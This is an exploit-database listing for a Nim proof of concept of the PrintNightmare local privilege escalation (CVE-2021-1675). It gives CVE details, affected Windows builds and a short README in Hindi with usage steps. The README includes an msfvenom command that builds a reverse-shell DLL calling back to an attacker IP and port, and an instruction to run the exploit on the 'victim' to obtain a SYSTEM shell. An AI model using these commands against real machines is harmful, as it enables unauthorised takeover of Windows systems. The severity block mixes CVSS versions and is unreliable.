Exploit for NimNightmare

kitploit · 2026-08-25

Description

LPE PoC for CVE-2021-1675 in Nim using winim library, executes DLL to get SYSTEM shell.

Entry point

Parameter\\192.168.1.215\\smb\\addCube.dll · path

Path\\192.168.1.215\smb\addCube.dll

SMB path to payload DLL used for exploitation in Print Nightmare PoC.

Affected software

Microsoft Windows 10 1507< 10.0.10240.18967

Microsoft Windows 10 1607< 10.0.14393.4467

Microsoft Windows 10 1809< 10.0.17763.1999

Microsoft Windows 10 1909< 10.0.18363.1621

All known vulnerabilities by product

CVSS 9.3 for CVE-2021-1675

9.3

HIGH SEVERITY

Version 2.0

VectorAV:N/AC:M/Au:N/C:C/I:C/A:C

Attack Vector:LOCAL

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:REQUIRED

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

Exploit Details

Modified:2026-08-25 11:44

Last Seen:2026-08-26 07:18

Reporter:KitPloit

Tags

CVE-2021-1675local privilege escalationNimwinim librarySYSTEM shellDLL execution

Other exploits for CVE-2021-1675

2026-08-30 KitPloitKITPLOIT

PrintNightmare-LPE

2026-08-30 KitPloitKITPLOIT

CVE-2021-1675_PrintNightMare

2026-08-30 KitPloitKITPLOIT

2026-08-30 KitPloitKITPLOIT

PrintNightmare-CVE-2021-1675

2026-08-30 KitPloitKITPLOIT

CVE-2021-1675-LPE-EXP

2026-08-30 KitPloitKITPLOIT

2026-08-30 KitPloitKITPLOIT

2026-08-30 KitPloitKITPLOIT

Exploit Code

MARKDOWN12 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EVERSINC33-NIMNIGHTMARE
# CVE-2021-1675 LPE PoC

यह मेरा एक्सप्लॉइट नहीं है! बस nim में `winim` लाइब्रेरी के साथ खिलवाड़ करना चाहता था।

### उपयोग

`msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.237 LPORT=4444 -f dll > msfvenom.dll` के साथ DLL पेलोड जनरेट करें, फिर अपने हमलावर पर हैंडलर शुरू करें।

पीड़ित पर `.\nimnightmare.exe <ABSOLUTE_PATH_TO_DLL>` चलाएं और SYSTEM के रूप में शेल प्राप्त करें।

![](https://assets.kitploit.com/production/public/readmes/25252/a2c425483aed811d35516a6209c3a62d4374eebb42e013e65013730df009de87.png)